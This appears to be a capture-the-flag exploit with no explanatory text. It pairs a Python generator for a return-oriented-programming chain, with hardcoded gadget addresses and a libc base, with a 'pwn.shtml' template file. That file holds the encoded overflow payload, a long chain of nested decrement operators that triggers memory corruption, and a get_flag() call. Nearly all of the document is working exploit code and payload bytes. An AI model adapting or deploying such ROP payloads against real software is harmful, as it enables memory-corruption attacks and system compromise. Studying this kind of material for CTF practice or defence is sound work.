--- rop generator --- def generate_p(addr,size=0x200): _zero=0x8049B16 cpy = 0x80494A4 ret = 0x8049BB1 ppr = 0x8049BAF rop_size= 8 + 20 + 8 + 16 libc = 0xb0300000 popper = libc + 0x00046b48 ## 0x00046b48 : pop edx ; pop ecx ; pop eax ; add esp, 4 ; ret popeax = libc + 0x0002bfa5 def zero(addr): return pack('IIII',cpy,ppr,addr,_zero) r = 'A'*32 + pack('I',ret) r = r.ljust(0x2c,'A') r += pack('I',addr+0x2c+4) ## zero out channel id r += zero(addr+size-128-rop_size+8+1) r += zero(addr+size-128-rop_size+8+2) ## zero out first length - 3rd param r += zero(addr+size-128-rop_size+8+4*2+1) r += zero(addr+size-128-rop_size+8+4*2+2) r += zero(addr+size-128-rop_size+8+4*2+3) ## zero out second length - 5th param r += zero(addr+size-128-rop_size+8+4*4+1) r += zero(addr+size-128-rop_size+8+4*4+2) r += zero(addr+size-128-rop_size+8+4*4+3) ## zero out length - 3rd param ## but second in pop seq r += zero(addr+size-128-rop_size+8+20+4+4+1) r += zero(addr+size-128-rop_size+8+20+4+4+2) r += zero(addr+size-128-rop_size+8+20+4+4+3) ## zero out cmd r += zero(addr+size-128-rop_size+8*3+20+12+1) r += zero(addr+size-128-rop_size+8*3+20+12+2) r += zero(addr+size-128-rop_size+8*3+20+12+3) ## zero out last byte of http_contex r += zero(addr+size-128-rop_size+8+4+20+8) while len(r) != size - 128 - rop_size: r += pack('I',ret) r += pack('I',0x80494B4) r += pack('I',0x0804dd3d) r += pack('IIIII',0x40494901,addr+size-128-rop_size+8*3+20+12,0x909090a8,addr+size-32,0x90909080) r += pack('I',popper) r += pack('III',addr+size-32,0xaaaaaa40,0x080479aa) ##,addr+size-128-rop_size+8) r += 'XXXX' r += pack('I',0x804BE50) r += 'ABCD' r += "\x05\xaa\xaa\xaa" r = r.ljust(size,'X') return r --- end --- --- pwn.shtml --- <@ ee="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb1\x9b\x04\x08AAAAAAAA1\xc5\x06\x08\xa4\x94\x04\x08\xaf\x9b\x04\x08V\xc6\x06\x08\x16\x9b\x04\x08\xa4\x94\x04\x08\xaf\x9b\x04\x08W\xc6\x06\x08\x16\x9b\x04\x08\xa4\x94\x04\x08\xaf\x9b\x04\x08^\xc6\x06\x08\x16\x9b\x04\x08\xa4\x94\x04\x08\xaf\x9b\x04\x08_\xc6\x06\x08\x16\x9b\x04\x08\ xa4\x94\x04\x08\xaf\x9b\x04\x08`\xc6\x06\x08\x16\x9b\x04\x08\xa4\x94\x04\x08\xaf\x9b\x04\x08f\xc6\x06\x08\x16\x9b\x04\x08\xa4\x94\x04\x08\xaf\x9b\x04\x08g\xc6\x06\x08\x16\x9b\x04\x08\xa4\x94\x04\x08\xaf\x9b\x04\x08h\xc6\x06\x08\x16\x9b\x04\x08\xa4\x94\x04\x08\xaf\x9b\x04\x08r\xc6\x06\x08\x16\x9b\x04\x08\xa4\x94\x04\x0 8\xaf\x9b\x04\x08s\xc6\x06\x08\x16\x9b\x04\x08\xa4\x94\x04\x08\xaf\x9b\x04\x08t\xc6\x06\x08\x16\x9b\x04\x08\xa4\x94\x04\x08\xaf\x9b\x04\x08\x86\xc6\x06\x08\x16\x9b\x04\x08\xa4\x94\x04\x08\xaf\x9b\x04\x08\x87\xc6\x06\x08\x16\x9b\x04\x08\xa4\x94\x04\x08\xaf\x9b\x04\x08\x88\xc6\x06\x08\x16\x9b\x04\x08\xa4\x94\x04\x08\xaf \x9b\x04\x08u\xc6\x06\x08\x16\x9b\x04\x08\xb1\x9b\x04\x08\xb1\x9b\x04\x08\xb1\x9b\x04\x08\xb1\x9b\x04\x08\xb1\x9b\x04\x08\xb1\x9b\x04\x08\xb1\x9b\x04\x08\xb1\x9b\x04\x08\xb1\x9b\x04\x08\xb1\x9b\x04\x08\xb1\x9b\x04\x08\xb4\x94\x04\x08=\xdd\x04\x08\x01II@\x85\xc6\x06\x08\xa8\x90\x90\x90\xe1\xc6\x06\x08\x80\x90\x90\x90Hk 4\xb0\xe1\xc6\x06\x08@\xaa\xaa\xaa\xaay\x04\x08XXXXP\xbe\x04\x08ABCD\x05\xaa\xaa\xaaXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"; y ="XXXXXXXX"; x = 2; printf("%p %p ",y,ee); ez=--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(- -(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(-- (--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--( --(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(- -(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--(--((y)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) )))))))))))); AAAAAAAaa = "BBBBAAAA"; #i 0x806c530 0%b032bf88 0x80650c0 0x806c710: x= "\x88\xbf\x32\xb0\x01\xc5\x06\x08";#.AAAAAAAaa; get_flag(); var_dump(); echo(1); @> --- end ---